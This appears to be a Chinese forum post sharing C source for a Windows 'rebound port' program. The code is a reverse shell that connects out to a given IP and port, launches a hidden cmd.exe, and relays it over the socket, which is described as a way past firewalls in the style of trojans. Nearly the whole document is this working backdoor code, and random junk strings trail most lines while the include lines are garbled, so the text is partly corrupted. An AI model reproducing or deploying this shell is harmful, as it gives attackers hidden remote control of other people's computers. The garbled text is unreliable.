这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B!;+_%P76
f%XJ;y\,9H
/* ============================== W~ruN4q.
Rebound port in Windows NT 4h8*mMghs
By wind,2006/7 bL`eiol6
===============================*/ ? ?[g}>
#include z%sy$^v@vD
#include I[D8""U
Td h TQ
#pragma comment(lib,"wsock32.lib") opp!0:jS*
O/b+CSS1
void OutputShell(); C:i|-te
SOCKET sClient; @i LIU}+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +,5-qm)Gh>
rs]I
void main(int argc,char **argv) HBiBv-=,
{ ho.(v;
WSADATA stWsaData; a#[-*ou`
int nRet; 3FNT|QF
SOCKADDR_IN stSaiClient,stSaiServer; |=K_F3aJ
"2{%JFE
if(argc != 3) I ~$1Lu`~
{ VhEka#
printf("Useage:\n\rRebound DestIP DestPort\n"); `A)"%~
return; h<x4YB5Mj
} wCCV2tk
41Ve}%
WSAStartup(MAKEWORD(2,2),&stWsaData); =\3Tv
&<]<a_pw
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :iPym}CE
)9L/sKz
stSaiClient.sin_family = AF_INET; 2k5/SV
X
stSaiClient.sin_port = htons(0); Kq)MTlP0g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I#G0, &Gv
j0mM>X HB
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 27A!\pn
{ NM#-Af*pg
printf("Bind Socket Failed!\n"); d
6t:hn
return; 9P WY52!
} BRv x[u
d@ Ja}`
stSaiServer.sin_family = AF_INET; |E3X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ynwG\V
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /*rhtrS)
QHlU|dR)Ry
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #hw>tA6
{ _[h8P9YI4
printf("Connect Error!"); Z(GfK0vU
return; GTl
xq%?b
} w$ fJ4+
OutputShell(); zpjqEEY;
} =#xK=pRy;
e0HfP v_
void OutputShell()
QLKK.]
{ HM9fjl[
char szBuff[1024]; ,"2TArC'z
SECURITY_ATTRIBUTES stSecurityAttributes; ~E5z"o6$
OSVERSIONINFO stOsversionInfo; D Ml?o:l
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >m6&bfy\q
STARTUPINFO stStartupInfo; 'T8W!&$
char *szShell; Mps5Vv
PROCESS_INFORMATION stProcessInformation; pv,45z0
unsigned long lBytesRead; 5h{`<W
k cuzB+
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7h9U{4r: M
19UN*g3(
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u bW]-U=T
stSecurityAttributes.lpSecurityDescriptor = 0; xTz%nx
stSecurityAttributes.bInheritHandle = TRUE; O XP\R
g(4bBa9y
tJ0NPI56yP
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r 2:2,5_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +^|iZbZKx
aSutM
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0<p{BL8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S<wj*"|.s
stStartupInfo.wShowWindow = SW_HIDE; PoSpkJH
stStartupInfo.hStdInput = hReadPipe; !|Q5Zi;aX7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [<c&|tfl
ci9R.U)
GetVersionEx(&stOsversionInfo); *%5{'
K`-!uZW:B7
switch(stOsversionInfo.dwPlatformId) w3T ]H_V
{ p{$p
$/A
case 1: \wvg,j=
szShell = "command.com"; +-?/e-z")
break; yYZxLJ='
default: x.mrCJn)
szShell = "cmd.exe"; cmwPuK$
break; TFQ!7'xk)
} /8'S1!zc
5 `/< v^
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rf&M!d}!
%3r:s`{
send(sClient,szMsg,77,0); KKe8
ly,
while(1) "tk-w{>
{ "Zv~QwC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $A_]:qI2
if(lBytesRead) <If35Z)~
{ nw:-J1kWR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #'baPqdO
send(sClient,szBuff,lBytesRead,0); #KlCZ~s
} [^YA=Khu
else 8+Llx
{ c3%@Wj:fo
lBytesRead=recv(sClient,szBuff,1024,0); "/{RhY<
if(lBytesRead<=0) break; NQHz<3S[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8jlLUG:g
} yY).mxRN
} ;E^K.6
ZJW[?V\5=
return; Ta=s:trP
}